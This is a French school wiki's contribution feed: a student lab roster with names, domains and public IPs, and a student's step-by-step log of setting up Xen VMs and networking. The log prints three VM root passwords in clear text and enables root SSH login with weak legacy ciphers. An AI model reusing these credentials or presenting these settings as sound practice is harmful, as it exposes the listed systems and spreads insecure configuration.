<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
	<id>https://wiki-se.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Cpayet</id>
	<title>wiki-se.plil.fr - Contributions [fr]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki-se.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Cpayet"/>
	<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php/Sp%C3%A9cial:Contributions/Cpayet"/>
	<updated>2026-05-14T05:01:20Z</updated>
	<subtitle>Contributions</subtitle>
	<generator>MediaWiki 1.39.1</generator>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12737</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12737"/>
		<updated>2026-03-03T10:43:06Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.tech|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || dardevil.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
!numéro de binôme&lt;br /&gt;
!Adresse IPV4 OpenWRT&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|1&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|3&lt;br /&gt;
|193.48.57.180&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|4&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|5&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|7&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|6&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| 193.48.57.167|| Mohamed Salhi &lt;br /&gt;
|2&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|Styx&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E10-Tom&lt;br /&gt;
|20&lt;br /&gt;
|-&lt;br /&gt;
|E13-Billel&lt;br /&gt;
|23&lt;br /&gt;
|-&lt;br /&gt;
|E14-Antonin&lt;br /&gt;
|24&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|-&lt;br /&gt;
|E11-Evora&lt;br /&gt;
|28&lt;br /&gt;
|-&lt;br /&gt;
|E12-Gauthier&lt;br /&gt;
|21&lt;br /&gt;
|-&lt;br /&gt;
|E8-Yassine&lt;br /&gt;
|18&lt;br /&gt;
|-&lt;br /&gt;
|E7-Ibrahim&lt;br /&gt;
|17&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCedric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolBillel&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.13.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ad::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAurele&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.9.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a9::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolTom&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.10.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60aa::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolSalhi&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.15.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60b1::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAntonin&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.14.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ae::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolYassine&lt;br /&gt;
|10.60.8.0/24&lt;br /&gt;
|2001:660:4401:60a8::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolEvora&lt;br /&gt;
|10.60.11.0/24&lt;br /&gt;
|2001:660:4401:60ab::/64&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12221</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12221"/>
		<updated>2026-02-10T17:09:18Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Utiles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
